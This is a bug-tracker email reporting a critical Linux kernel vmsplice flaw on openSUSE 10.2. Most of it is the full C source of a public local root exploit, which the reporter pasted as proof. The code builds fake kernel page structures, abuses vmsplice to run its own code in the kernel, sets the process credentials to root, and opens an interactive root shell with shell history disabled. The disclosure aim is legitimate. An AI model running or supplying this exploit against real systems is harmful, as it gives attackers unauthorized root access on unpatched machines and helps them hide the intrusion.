https://bugzilla.novell.com/show_bug.cgi?id=360759 Summary: Kernel bug in vmsplice code allows root access to local user Product: openSUSE 10.2 Version: Final Platform: All OS/Version: openSUSE 10.2 Status: NEW Severity: Critical Priority: P5 - None Component: Kernel AssignedTo: kernel-maintainers@forge.provo.novell.com ReportedBy: mweigang@umcs.maine.edu QAContact: qa@suse.de Found By: Other Code listed below will allow unprivileged user root access. Bug is reportedly fixed in latest version of Linux kernel. I successfully ran this exploit on OpenSuse 10.2 system. /* * jessica_biel_naked_in_my_bed.c * * Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura. * Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca. * Stejnak je to stare jak cyp a aj jakesyk rozbite. * * Linux vmsplice Local Root Exploit * By qaaz * * Linux 2.6.17 - 2.6.24.1 * * This is quite old code and I had to rewrite it to even compile. * It should work well, but I don't remeber original intent of all * the code, so I'm not 100% sure about it. You've been warned ;) * * -static -Wno-format */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #define __KERNEL__ #include #define PIPE_BUFFERS 16 #define PG_compound 14 #define uint unsigned int #define static_inline static inline __attribute__((always_inline)) #define STACK(x) (x + sizeof(x) - 40) struct page { unsigned long flags; int count; int mapcount; unsigned long private; void *mapping; unsigned long index; struct { long next, prev; } lru; }; void exit_code(); char exit_stack[1024 * 1024]; void die(char *msg, int err) { printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err)); fflush(stdout); fflush(stderr); exit(1); } #if defined (__i386__) #ifndef __NR_vmsplice #define __NR_vmsplice 316 #endif #define USER_CS 0x73 #define USER_SS 0x7b #define USER_FL 0x246 static_inline void exit_kernel() { __asm__ __volatile__ ( "movl %0, 0x10(%%esp) ;" "movl %1, 0x0c(%%esp) ;" "movl %2, 0x08(%%esp) ;" "movl %3, 0x04(%%esp) ;" "movl %4, 0x00(%%esp) ;" "iret" : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL), "i" (USER_CS), "r" (exit_code) ); } static_inline void * get_current() { unsigned long curr; __asm__ __volatile__ ( "movl %%esp, %%eax ;" "andl %1, %%eax ;" "movl (%%eax), %0" : "=r" (curr) : "i" (~8191) ); return (void *) curr; } #elif defined (__x86_64__) #ifndef __NR_vmsplice #define __NR_vmsplice 278 #endif #define USER_CS 0x23 #define USER_SS 0x2b #define USER_FL 0x246 static_inline void exit_kernel() { __asm__ __volatile__ ( "swapgs ;" "movq %0, 0x20(%%rsp) ;" "movq %1, 0x18(%%rsp) ;" "movq %2, 0x10(%%rsp) ;" "movq %3, 0x08(%%rsp) ;" "movq %4, 0x00(%%rsp) ;" "iretq" : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL), "i" (USER_CS), "r" (exit_code) ); } static_inline void * get_current() { unsigned long curr; __asm__ __volatile__ ( "movq %%gs:(0), %0" : "=r" (curr) ); return (void *) curr; } #else #error "unsupported arch" #endif #if defined (_syscall4) #define __NR__vmsplice __NR_vmsplice _syscall4( long, _vmsplice, int, fd, struct iovec *, iov, unsigned long, nr_segs, unsigned int, flags) #else #define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl)) #endif static uint uid, gid; void kernel_code() { int i; uint *p = get_current(); for (i = 0; i < 1024-13; i++) { if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) { p[0] = p[1] = p[2] = p[3] = 0; p[4] = p[5] = p[6] = p[7] = 0; p = (uint *) ((char *)(p + 8) + sizeof(void *)); p[0] = p[1] = p[2] = ~0; break; } p++; } exit_kernel(); } void exit_code() { if (getuid() != 0) die("wtf", 0); printf("[+] root\n"); putenv("HISTFILE=/dev/null"); execl("/bin/bash", "bash", "-i", NULL); die("/bin/bash", errno); } int main(int argc, char *argv[]) { int pi[2]; size_t map_size; char * map_addr; struct iovec iov; struct page * pages[5]; uid = getuid(); gid = getgid(); setresuid(uid, uid, uid); setresgid(gid, gid, gid); printf("-----------------------------------\n"); printf(" Linux vmsplice Local Root Exploit\n"); printf(" By qaaz\n"); printf("-----------------------------------\n"); if (!uid || !gid) die("!@#$", 0); /*****/ pages[0] = *(void **) &(int[2]){0,PAGE_SIZE}; pages[1] = pages[0] + 1; map_size = PAGE_SIZE; map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (map_addr == MAP_FAILED) die("mmap", errno); memset(map_addr, 0, map_size); printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); printf("[+] page: 0x%lx\n", pages[0]); printf("[+] page: 0x%lx\n", pages[1]); pages[0]->flags = 1 << PG_compound; pages[0]->private = (unsigned long) pages[0]; pages[0]->count = 1; pages[1]->lru.next = (long) kernel_code; /*****/ pages[2] = *(void **) pages[0]; pages[3] = pages[2] + 1; map_size = PAGE_SIZE; map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (map_addr == MAP_FAILED) die("mmap", errno); memset(map_addr, 0, map_size); printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); printf("[+] page: 0x%lx\n", pages[2]); printf("[+] page: 0x%lx\n", pages[3]); pages[2]->flags = 1 << PG_compound; pages[2]->private = (unsigned long) pages[2]; pages[2]->count = 1; pages[3]->lru.next = (long) kernel_code; /*****/ pages[4] = *(void **) &(int[2]){PAGE_SIZE,0}; map_size = PAGE_SIZE; map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (map_addr == MAP_FAILED) die("mmap", errno); memset(map_addr, 0, map_size); printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); printf("[+] page: 0x%lx\n", pages[4]); /*****/ map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE; map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (map_addr == MAP_FAILED) die("mmap", errno); memset(map_addr, 0, map_size); printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); /*****/ map_size -= 2 * PAGE_SIZE; if (munmap(map_addr + map_size, PAGE_SIZE) < 0) die("munmap", errno); /*****/ if (pipe(pi) < 0) die("pipe", errno); close(pi[0]); iov.iov_base = map_addr; iov.iov_len = ULONG_MAX; signal(SIGPIPE, exit_code); _vmsplice(pi[1], &iov, 1, 0); die("vmsplice", errno); return 0; } // milw0rm.com [2008-02-09] -- Configure bugmail: https://bugzilla.novell.com/userprefs.cgi?tab=email ------- You are receiving this mail because: ------- You are on the CC list for the bug.